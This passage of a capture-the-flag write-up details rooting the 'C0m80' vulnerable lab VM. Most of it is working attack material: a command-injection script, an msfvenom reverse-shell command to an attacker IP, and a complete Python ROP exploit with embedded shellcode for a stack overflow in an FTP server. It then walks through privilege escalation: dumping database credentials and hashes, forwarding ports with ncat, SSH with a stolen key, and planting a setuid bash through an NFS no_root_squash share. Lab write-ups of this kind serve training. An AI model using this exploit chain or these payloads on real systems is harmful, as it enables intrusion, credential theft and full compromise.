[eax+4] .text:004037C4 and edx, 0FFFFFFFCh .text:004037C7 sub eax, edx .text:004037C9 add ecx, eax .text:004037CB and ecx, 0FFFFFFFCh .text:004037CE shr ecx, 2 .text:004037D1 mov edi, edx .text:004037D3 mov eax, ebx .text:004037D5 rep stosd .text:004037D7 mov [ebp+idx_cmd], 2 .text:004037DE jmp short loc_40381A .text:004037E0 ; --------------------------------------------------------------------------- .text:004037E0 .text:004037E0 loc_4037E0: ; CODE XREF: _ConnectionHandler@4+1D4D j .text:004037E0 mov edx, [ebp+idx_cmd] .text:004037E3 mov eax, [ebp+cmd] .text:004037E6 add eax, edx .text:004037E8 movzx eax, byte ptr [eax] .text:004037EB cmp al, '.' .text:004037ED jnz short loc_403816 .text:004037EF .text:004037EF vuln_branch: ; size_t .text:004037EF mov dword ptr [esp+8], 64h .text:004037F7 mov eax, [ebp+cmd] .text:004037FA mov [esp+4], eax ; char * .text:004037FE mov eax, [ebp+tmp_buf] .text:00403801 mov [esp], eax ; char * .text:00403804 call _strncpy .text:00403809 mov eax, [ebp+tmp_buf] .text:0040380C mov [esp], eax ; buf .text:0040380F call vuln_function .text:00403814 jmp short loc_403822
The vulnerable function calls strcpy() !!!
A classic textbook stack based buffer overflow.
.text:00401AB8 ; char *__cdecl vuln_function(char *buf) .text:00401AB8 public vuln_function .text:00401AB8 vuln_function proc near ; CODE XREF: _ConnectionHandler@4+1D3C p .text:00401AB8 .text:00401AB8 local_buf = byte ptr -2Eh .text:00401AB8 buf = dword ptr 8 .text:00401AB8 .text:00401AB8 push ebp .text:00401AB9 mov ebp, esp .text:00401ABB sub esp, 48h .text:00401ABE mov eax, [ebp+buf] .text:00401AC1 mov [esp+4], eax ; char * .text:00401AC5 lea eax, [ebp+local_buf] .text:00401AC8 mov [esp], eax ; char * .text:00401ACB call _strcpy .text:00401AD0 nop .text:00401AD1 leave .text:00401AD2 retn .text:00401AD2 vuln_function endp
Exploitation of both vulnerabilities will be detailed.
Exploitation : Command Injection
A command injection is possible when a command string is built and used in a system() equivalent call using improperly filtered or unfiltered user input.
Since it is a Linux target, we can embed a Linux payload into a DLL using msfvenom:
The buffer overflow is reliably exploitable for remote arbitrary code execution
as shown in the next section.
#!/usr/bin/python2 import sys from pwn import * if len (sys.argv) != 2: print 'Usage : %s ip' % sys.argv[0] exit (1) (progname, target_ip) = sys.argv target = remote (target_ip, 20021) target.sendline ('http://%s && rundll32 Z:\\ftpsrv\\bkp\\shell.dll ' % target_ip) target.interactive ()
Since it is a Linux target, we can embed a Linux payload into a DLL using msfvenom:
$ msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.56.102 LPORT=4444 -f dll > shell.dll
The buffer overflow is reliably exploitable for remote arbitrary code execution
as shown in the next section.
Exploitation : Buffer Overflow
The difficulty of exploitation resides in the limited available size for
our payload.
Since apparently NX is enabled, options are even more limited.
The ftp_buffer is 0x1000 bytes and there are no characters restrictions since
the FTP server uses recv(). The only restriction is not to have any '\x00' in our
buffer as it would truncate our copy in the vuln_function().
The vulnerable handler copies at most 0x64 bytes = 100 bytes in its tmp_buf,
our vuln_function() buffer is 0x2e = 46 bytes. So SEBP and SEIP will be
overwritten respectly at offset 42 and 46 of tmp_buf. We thus have around 50
bytes for our ROP payload, or space for roughly 12 values/pointers.
12 values/pointers ... that indeed restrict our options by quite a bit.
Given the right gadgets this limitation can be bypassed to have arbitrary
code execution.
By chance, there is no ASLR for the .exe and .dll used. I didn't find any infoleak vulnerability
so if ASLR were to be in play, it probably wouldn't be exploitable.
Luckily for us, we find the necessary gadgets for our exploitation to proceed.
The gadget I was looking for was a 'mov dword ptr [register], value' patch kind.
I ended up finding 'add dword ptr [ebx + 0x5e5b30c4], eax ; pop edi ; ret',
this does the job. The only pre-requisites are to know memory state when the
gadget execute and no '\x00' when setting ebx value.
The core of my exploit resides in the following routine:
def patch_once (addr, value): ropchain = [ # pop eax ; ret 0x625014d5, value, # pop ebx ; ret 0x62501033, boundint (addr - 0x5e5b30c4, 32), # add dword ptr [ebx + 0x5e5b30c4], eax ; pop edi ; ret 0x62501a45, # junk 0x12345678, # ExitThread (0x87654321) func_ExitThread, 0x87654321 ] return pack_rop (ropchain)
This allows us to write 4 bytes at an arbitrary location (provided the target
address doesn't have any NULL bytes).
For each client that connects, the FTP server creates a thread to handle it.
It is quite advantageous to us : we don't have to bother restoring ESP and/or
EBP, we just use ExitThread() and let WINE do the job for us.
At each connection we'll thus write only 4 bytes.
The exploit proceeds as follow:
- Write VirtualAlloc() ROP payload
- Run it to allocate memory
- Write system() ROP payload
- Run a command with system() (this can be removed since the rundll32 trick
doesn't work on the target VM even if it does in the lab)
- Copy shellcode to the earlier alloced memory
- Execute arbitrary shellcode
For the exploit to work, you need to change the shellcode as this was tailored
for my usage.
Another difficulty is finding which precise WINE version our target VM uses.
That's where the security patch (August) level helped.
I did the development on my Ubuntu 14.04 lab box.
Multiple WINE libs found here were tried : https://dl.winehq.org/wine-builds/ubuntu/pool/main/ .
You can find our target's VM one here : https://dl.winehq.org/wine-builds/ubuntu/pool/main/wine-stable-i386_2.0.2~trusty_i386.deb .
To make the exploit more reliable:
- support multiple WINE versions
- cleanup after the exploit : restore the memory state as it was before
exploitation
Metasploit handler
We configure our metasploit handler to get our reverse shell.
msf exploit(handler) > show options Module options (exploit/multi/handler): Name Current Setting Required Description ---- --------------- -------- ----------- Payload options (linux/x86/shell_reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- CMD /bin/bash -p yes The command string to execute LHOST 192.168.56.102 yes The listen address LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Wildcard Target msf exploit(handler) > exploit [*] Exploit running as background job 0. [*] Started reverse TCP handler on 192.168.56.102:4444
The exploit
Here it finally is.
Don't forget to change the used shellcode with yours, otherwise it just won't work.
Don't forget to change the used shellcode with yours, otherwise it just won't work.
#!/usr/bin/python2 from pwn import * import struct import sys MEM_COMMIT = 0x1000 MEM_RESERVE = 0x2000 PAGE_EXECUTE_READWRITE = 0x40 # kernel32.dll func_VirtualAlloc = 0x7b485b20 func_ExitThread = 0x7b480af0 # ftp func_system = 0x404c1c # bfsvrdll.dll addr_ret = 0x6250210F # pivot addr_leave = 0x62501497 # system payload addr_rop_system = 0x13374010 # cleaner addr_alloc = 0x13370000 addr_shellcode = 0x13370000 + 0x9010 def check_ip (ip_addr): try: is_valid = [ 0 <= int(x) < 256 for x in re.split('\.',re.match(r'^\d+\.\d+\.\d+\.\d+$', ip_addr).group(0)) ].count (True) == 4 except: return False return is_valid if len (sys.argv) != 3: print 'Usage: %s rhost rport' % sys.argv[0] exit (1) (progname, rhost, rport) = sys.argv # validate rhost if check_ip (rhost) == False: print '[-] Invalid IP' exit (1) # validate rport try: rport = int (rport, 0) except: print '[-] Invalid rport' exit (1) if rport <= 0 or 65535 < rport: print '[-] Invalid rport' exit (1) def do_overflow (target, payload, sebp = 'B' * 4): target.sendline ('cd ' + 'A' * 43 + sebp + payload + '.') def boundint (val, nbits): return ((val + (1 << nbits)) % (1 << nbits)) ''' 0x62502193 : movzx edx, word ptr [eax + 0x62500006] ; mov eax, edx ; ret ''' def pack_rop (ropchain): return ''.join ([struct.pack ('<I', value) for value in ropchain ]) def patch_once (addr, value): ropchain = [ # pop eax ; ret 0x625014d5, value, # pop ebx ; ret 0x62501033, boundint (addr - 0x5e5b30c4, 32), # add dword ptr [ebx + 0x5e5b30c4], eax ; pop edi ; ret 0x62501a45, # junk 0x12345678, # ExitThread (0x87654321) func_ExitThread, 0x87654321 ] return pack_rop (ropchain) # this bypass the 12 pointers limits by building a second stage payload that # we'll later pivot to def write_data (target_ip, target_port, addr, data, sebp = 'B' * 4, align = 4, padding = ' ', verbose = False): # pad data so it is aligned remain = len (data) % align #print 'original len (data) : %d' % len (data) if remain != 0: data += (align - remain) * padding #print 'padded len (data) : %d' % len (data) for idx in range (0, len (data), align): value = struct.unpack ('<I', data[idx : idx+4])[0] #print 'Writing "%s" at 0x%x' % (data[idx : idx+4], addr + idx) payload = patch_once (addr + idx, value) if verbose: print 'packed : %s' % payload.encode ('hex') if '\x00' in payload or '\x0a' in payload in '\x0d' in payload: print '[-] There is a NULL for addr = 0x%08x , value = 0x%08x' % (addr + idx, value) target = remote (target_ip, target_port) do_overflow (target, payload, sebp) sleep (0.1) target.close () # write command cmd = 'rundll32 Z:\\ftpsvr\\bkp\\shell.dll' start_data = 0x405060 write_data (rhost, rport, start_data, cmd) # VirtualAlloc addr_rop_VirtualAlloc = 0x408610 ropchain = [ func_VirtualAlloc, # JUNK 0x12345678, # ret addr addr_ret, # addr # -> 0x50782172 + 0x615f6f47 * 2 = 0x13370000 0x50782172, # size # -> 0x7f56772e + 0x40554469 * 2 = 0x10000 0x7f56772e, # alloc type = COMMIT + RESERVE = 0x3000 # -> 0x577f3540 + 0x54407d60 * 2 = 0x3000 0x577f3540, # protect = READ WRITE EXECUTE # -> 0x4d216946 + 0x596f4b7d * 2 = 0x40 0x4d216946, # ExitThread () func_ExitThread, 0x87654321, 0xdeadbeef ] payload = pack_rop (ropchain) has_modif = 4 # write func_system write_data (rhost, rport, addr_rop_VirtualAlloc, payload) # fix addr write_data (rhost, rport, addr_rop_VirtualAlloc + 8 + has_modif, struct.pack ('<I', 0x615f6f47)) write_data (rhost, rport, addr_rop_VirtualAlloc + 8 + has_modif, struct.pack ('<I', 0x615f6f47)) # fix size write_data (rhost, rport, addr_rop_VirtualAlloc + 12 + has_modif, struct.pack ('<I', 0x40554469)) write_data (rhost, rport, addr_rop_VirtualAlloc + 12 + has_modif, struct.pack ('<I', 0x40554469)) # fix alloc type write_data (rhost, rport, addr_rop_VirtualAlloc + 16 + has_modif, struct.pack ('<I', 0x54407d60)) write_data (rhost, rport, addr_rop_VirtualAlloc + 16 + has_modif, struct.pack ('<I', 0x54407d60)) # fix protect write_data (rhost, rport, addr_rop_VirtualAlloc + 20 + has_modif, struct.pack ('<I', 0x596f4b7d)) write_data (rhost, rport, addr_rop_VirtualAlloc + 20 + has_modif, struct.pack ('<I', 0x596f4b7d)) # pivot to VirtualAlloc() target = remote (rhost, rport) do_overflow (target, struct.pack ('<I', addr_leave), struct.pack ('<I', addr_rop_VirtualAlloc - 4)) # system (cmd) print '[+] cmd : 0x%08x' % start_data print '[+] sys : 0x%08x' % addr_rop_system # write system ropchain = [ # system() # 0x517f6746 + 0x5760726b * 2 = 0x404c1c = func_system 0x517f6746, # pop ebx ; ret 0x62501033, # 0x61435170 + 0x4f7e7f78 * 2 = 0x405060 0x61435170, # ExitThread () func_ExitThread, 0x87654321, ] payload = pack_rop (ropchain) # write func_system write_data (rhost, rport, addr_rop_system, payload) write_data (rhost, rport, addr_rop_system, struct.pack ('<I', 0x5760726b)) write_data (rhost, rport, addr_rop_system, struct.pack ('<I', 0x5760726b)) # write cmd addr write_data (rhost, rport, addr_rop_system + 8, struct.pack ('<I', 0x4f7e7f78)) write_data (rhost, rport, addr_rop_system + 8, struct.pack ('<I', 0x4f7e7f78)) # pivot and execute system() target = remote (rhost, rport) do_overflow (target, struct.pack ('<I', addr_leave), struct.pack ('<I', addr_rop_system - 4)) target.close () print 'addrof (shellcode) = 0x%08x' % addr_shellcode # msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.56.102 LPORT=4444 -f python -b '\x00\x0a' buf = "" buf += "\xba\x10\xf6\xd4\x6c\xdd\xc6\xd9\x74\x24\xf4\x5e\x31" buf += "\xc9\xb1\x12\x31\x56\x12\x83\xc6\x04\x03\x46\xf8\x36" buf += "\x99\x57\xdf\x40\x81\xc4\x9c\xfd\x2c\xe8\xab\xe3\x01" buf += "\x8a\x66\x63\xf2\x0b\xc9\x5b\x38\x2b\x60\xdd\x3b\x43" buf += "\xb3\xb5\x84\xf5\x5b\xc4\xf4\xe8\xc7\x41\x15\xba\x9e" buf += "\x01\x87\xe9\xed\xa1\xae\xec\xdf\x26\xe2\x86\xb1\x09" buf += "\x70\x3e\x26\x79\x59\xdc\xdf\x0c\x46\x72\x73\x86\x68" buf += "\xc2\x78\x55\xea" shellcode = buf print 'sizeof shellcode : %d' % len (shellcode) # pivot and execute shellcode payload = '\x90' * 10 + shellcode write_data (rhost, rport, addr_shellcode, payload) # trigger exec target = remote (rhost, rport) do_overflow (target, struct.pack ('<I', addr_shellcode + 10), struct.pack ('<I', addr_shellcode + 0x500 - 4)) target.close ()
Post-Exploitation : Privilege Escalation
For privilege escalation, usual checks are made:
- processes running as root
- cronjobs
- suid binaries
- credentials
- misconfigured services
- trust relationships : probably get info somewhere else, come back and root
- kernel version
- etc
msf exploit(handler) > sessions -i 1 [*] Starting interaction with 1... id uid=1000(b0b) gid=1001(b0b) groups=1001(b0b) python --version Python 2.7.6 python -c 'import pty; pty.spawn ("/bin/dash")' $ id id uid=1000(b0b) gid=1001(b0b) groups=1001(b0b) $ cat /var/www/html/bugs/config/config_inc.php cat /var/www/html/bugs/config/config_inc.php <?php $g_hostname = 'localhost'; $g_db_type = 'mysqli'; $g_database_name = 'bugtracker'; $g_db_username = 'root'; $g_db_password = 'bobistheking'; $g_default_timezone = 'Europe/London'; $g_crypto_master_salt = 'C+ydu13FkvkVCLSWu85CqxSqS7ougj7EEC+5+CLqF2I='; $ mysql -uroot -p mysql -uroot -p Enter password: bobistheking Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 1465 Server version: 5.5.57-0ubuntu0.14.04.1 (Ubuntu) Copyright (c) 2000, 2017, Oracle and/or its affiliates. All rights reserved. Oracle is a registered trademark of Oracle Corporation and/or its affiliates. Other names may be trademarks of their respective owners. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. mysql> use bugtracker use bugtracker Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A Database changed mysql> select username,password from mantis_user_table; select username,password from mantis_user_table; +----------+----------------------------------+ | username | password | +----------+----------------------------------+ | bob | facc581c941193bc7edc6b207706fb6e | | guest | 084e0343a0486ff05530df6c705c8bb4 | | Jeff | facc581c941193bc7edc6b207706fb6e | | alice | 247c42400cd044c577400470127b0063 | | DCheung | 739e3b6d4c36092dcc5ac222b8e1360d | +----------+----------------------------------+ 5 rows in set (0.03 sec) mysql> quit quit Bye $ cat /etc/exports cat /etc/exports # /etc/exports: the access control list for filesystems which may be exported # to NFS clients. See exports(5). # # Example for NFSv2 and NFSv3: # /srv/homes hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check) # # Example for NFSv4: # /srv/nfs4 gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check) # /srv/nfs4/homes gss/krb5i(rw,sync,no_subtree_check) # /ftpsvr/bkp *(rw,sync,no_root_squash,no_subtree_check)
We got our way to escalate our privileges!
no_root_squash is a big no no for NFS configuration.
This allow users to upload setuid root binaries on the server through
that misconfigured share.
no_root_squash - Allows root users on client computers to have root access on the server. Mount requests for root are not be mounted to the anonomous user. This option is needed for diskless clients.
Looking at the folder, we get to see that the bkp folder is only readable by
members of the 'backup' group. Reading /etc/passwd yield al1ce as being a
member of that group.
We first need to login as al1ce before enjoying our root suid shell.
b0b@C0m80:~$ ls -la .ssh/ total 24 drwx------ 2 b0b b0b 4096 Sep 23 18:42 . drwxr-xr-x 21 b0b b0b 4096 Oct 11 12:05 .. -rw------- 1 b0b b0b 1766 Sep 22 21:05 id_rsa -rw-r--r-- 1 b0b b0b 391 Sep 22 21:05 id_rsa.pub -rw-r--r-- 1 b0b b0b 222 Sep 23 02:58 known_hosts -rw-rw-r-- 1 b0b b0b 181 Sep 23 04:32 .save~ b0b@C0m80:~$ cat .ssh/.save~ ###### NO PASWORD HERE SRY ###### I'm using my new password manager PWMangr2 just a note to say WELL DONE & KEEP IT UP ;D #################################
I went looking for that password manager and ended up finding a page:
/home/b0b/.wine/drive_c/users/b0b/Application Data/Mozilla/Extensions/PWMangr2.html
meterpreter> download '/home/b0b/.wine/drive_c/users/b0b/Application Data/Mozilla/Extensions/PWMangr2.html'
Opening that .html file on a browser, we can access the passwords by guessing
"alice".
Hints are quite a bad idea for logins. Most of the time than not, user have bad
password habits and their hints often give out their password or reduce the
search space tremendously.
We can find the password for b0b thanks to the hint, the password is : alice.
The password for al1ce is not valid for her account but for b0b's ssh private key.
If you've searched through al1ce home folder, you'd have seen that we can
connect to her account thanks to her .ssh/authorized_keys which includes bob's
public key.
The SSH service is only locally reachable.
To reach it from outside, we can use ncat as a port forwarder.
b0b@C0m80:~$ ncat --sh-exec "ncat ::1 65122" -l 10022 --keep-open
SSH in al1ce account using the exfiltrated bob's private key
and the key password (7M6Kt8tC8X5Qz99@Eeb8592Z$Fd@u286).
With al1ce account, we now have access to /ftpsvr/bkp/.
al1ce@C0m80:~$ id uid=1001(al1ce) gid=34(backup) groups=34(backup) al1ce@C0m80:~$ ls -lash /ftpsvr/bkp/ total 2.7M 4.0K drwxrwx--- 2 root backup 4.0K Sep 23 02:37 . 4.0K drwxr-xr-x 3 b0b b0b 4.0K Sep 23 01:07 .. 2.7M -rw-r--r-- 1 backup backup 2.7M Oct 11 17:20 ftp104.bkp
Using our NFS access, we upload a root setuid binary.
On our attacker's machine:
root@kali:~/c0m80# mount 192.168.56.106:/ftpsvr/bkp/ bkp/ root@kali:~/c0m80# cp bash bkp/ root@kali:~/c0m80# ls -lash bkp/bash 964K -rwxr-xr-x 1 root root 964K Oct 11 2017 bkp/bash root@kali:~/c0m80# chmod +s bkp/bash root@kali:~/c0m80# ls -lash bkp/bash 964K -rwsr-sr-x 1 root root 964K Oct 11 2017 bkp/bash root@kali:~/c0m80# umount bkp
Now with al1ce account:
al1ce@C0m80:~$ ls -lash /ftpsvr/bkp/bash 964K -rwsr-sr-x 1 root root 964K Oct 11 17:23 /ftpsvr/bkp/bash al1ce@C0m80:~$ /ftpsvr/bkp/bash -p bash-4.3# id uid=1001(al1ce) gid=34(backup) euid=0(root) egid=0(root) groups=0(root),34(backup) bash-4.3# ls -lash /root/flag.txt 4.0K -rw-r--r-- 1 root root 400 Sep 23 20:29 /root/flag.txt bash-4.3# cat /root/flag.txt ############## WELL DONE ############### You dealt BestestSoftware a killer C0m80 I really hope you enjoyed the challenge and learned a thing of two while on your journey here. Please leave feelback & comments at: https://3mrgnc3.ninja/ All the best. 3mrgnc3 ;D ############ ROOT FLAG ############## K1ll3rC0m80D3@l7&i5mash3dth1580x ######################################
And that's it for that VM, we rooted it, we're god on it.
Conclusion
This VM was interesting on multiple levels:
- enumerate enumerate enumerate
- classic pentesting : nmap, enum4linux, showmount, etc
- exploit development
- multiple scripts had to be written
- it was not another VM with an easily exploitable RFI, LFI or SQLi
I hope you enjoyed the read,
Until next time,
m_101